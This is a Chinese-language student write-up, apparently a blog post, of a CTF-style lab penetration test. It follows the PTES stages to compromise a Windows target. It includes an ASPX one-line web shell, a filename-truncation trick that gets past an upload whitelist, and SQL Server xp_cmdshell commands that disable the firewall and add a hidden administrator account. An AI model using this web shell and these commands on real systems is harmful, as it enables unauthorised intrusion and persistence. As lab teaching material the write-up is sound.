渗透测试报告

渗透测试报告
PTES:
以CTF比赛的形式体验PTES流程。CTF:夺旗赛。找flag。
1、前期交互:授权委托书 ,说明渗透的目标IP和端口等信息。
2003密码:admin123

此次渗透测试的目标:
获取到目标机IP地址:192.168.233.129 (我的主机号)
在这里插入图片描述

2、信息搜集
通过信息搜集工具,搜集目标靶机的信息,扫描出1433(sql server) 、27689端口。登录到27689端口,可以发现是一个文件上传系统。接下来寻找登录该系统的方法。由于前面发现了1433端口打开,可以判断出这个系统使用了SQL server 服务,用户的注册登录很可能是存放在sql数据库中的。查看页面源代码后发现后端使用了aspx来写,一句话木马选用对应的语句。
在这里插入图片描述

目录扫描
在这里插入图片描述

图 1-2
在这里插入图片描述

图1-3
在这里插入图片描述

图1-4
在这里插入图片描述

图1-5
在这里插入图片描述

图1-6
通过目录扫描,扫描出敏感目录:web.config.bak,发现了后端数据库的用户名和密码。
在这里插入图片描述

图1-7

通过数据库客户端工具navicat,登陆数据库库,查看表UserList,发现web应用的用户名和密码。(admin asdadwn_d2112)
在这里插入图片描述

找到了第一个flag:4k3s9m3d。

3、威胁建模
发现应用有上传功能,利用上传功能展开攻击。

4、漏洞分析
利用文件上传,上传一句话木马getshell等实现攻击。

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/90815ec12de143f5bdfbbac060144364.png)

5、渗透测试
在这里插入图片描述

当我写好一句话木马的PHP文件上传的时候它提醒我不能上传这类文件,这让我非常头疼。
在这里插入图片描述

查看页面源码之后,我发现再前端的界面并没有提及对于文件格式的验证,查阅资料后发现对文件格式的验证有本地限制和服务器防御两种,服务器防御的可能性比较大,后面我尝试了一下关闭JS语言,发现点击上传之后就没有反应了,可见的确是服务器防御。
在这里插入图片描述

接下来开始想办法绕过服务器防御。

这里采用抓包技巧获得传出的数据包,修改此处的数据类型可能可以绕过服务器防御。我传了一张图片来看它到底会接受哪一种类型的数据。

在尝试后发现修改后缀名会直接影响文件能否上传,我改了一些奇奇怪怪的后缀,发现都不能上传,可以预测这应该是一个白名单检验。在多次修改数据包文件后还是未能实现攻击。在与同学讨论后发现文件名命名规则的缺陷,超过32位的文件名会自动截断,时间戳会自动加上19位,我们只需要将文件名命名为19+13位即可。于是将文件名改为如图所示,就可以上传成功。
之后对C盘下Administrator文件夹内容进行访问发现拒绝访问,需要权限提升
在这里插入图片描述

之后通过浏览web目录发现历史web.config
在这里插入图片描述

进一步获取sa的账号密码信息,不得不说这为我们权限提升提供了最大的助力:
在这里插入图片描述

发现出现了中文乱码,但是不影响我们获取数据库账号密码
在这里插入图片描述

之后通过执行SQL语句来查看权限,可以看到已然是system权限了,而这也是因为SQLServer默认是以system权限运行的,外加上sa权限导致我们可以直接获取到system权限:

use master;
exec master..xp_cmdshell "whoami";
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/06d25d7625864d7ba7fda42e5dcb4a45.png)

关防火墙
下面我们要做的就是关闭防火墙开RDP了,在这里为了执行系统命令我们首先开启XP_cmdshell:

use master;
exec sp_configure 'show advanced options',1;
reconfigure;

exec sp_configure 'xp_cmdshell',1;
reconfigure;
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/6df639c71d804cbeb0d41dde72e44ad9.png)

之后关闭防火墙:


```php
EXEC master.dbo.xp_cmdshell 'netsh firewall set opmode disable'
 

![在这里插入图片描述](https://img-blog.csdnimg.cn/ffe3064494334ea8b3f350f11835e2b5.png)

开启RDP
下一步自然而然就是开启RDP进行远程链接了,命令如下:
 、![在这里插入图片描述](https://img-blog.csdnimg.cn/57ba81738b6b4aadb7616507757fcf34.png)

添加用户
为了实现RDP远程链接我们还需要创建一个用户账号并将其添加到管理员组:

```c
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"

 

远程连接
之后使用之前创建的账号进行远程链接操作:

在这里插入图片描述

之后我们在桌面成功获取到Key:所有任务到此结束!

  • 10
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

爱学习的【丿小菜鸡

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值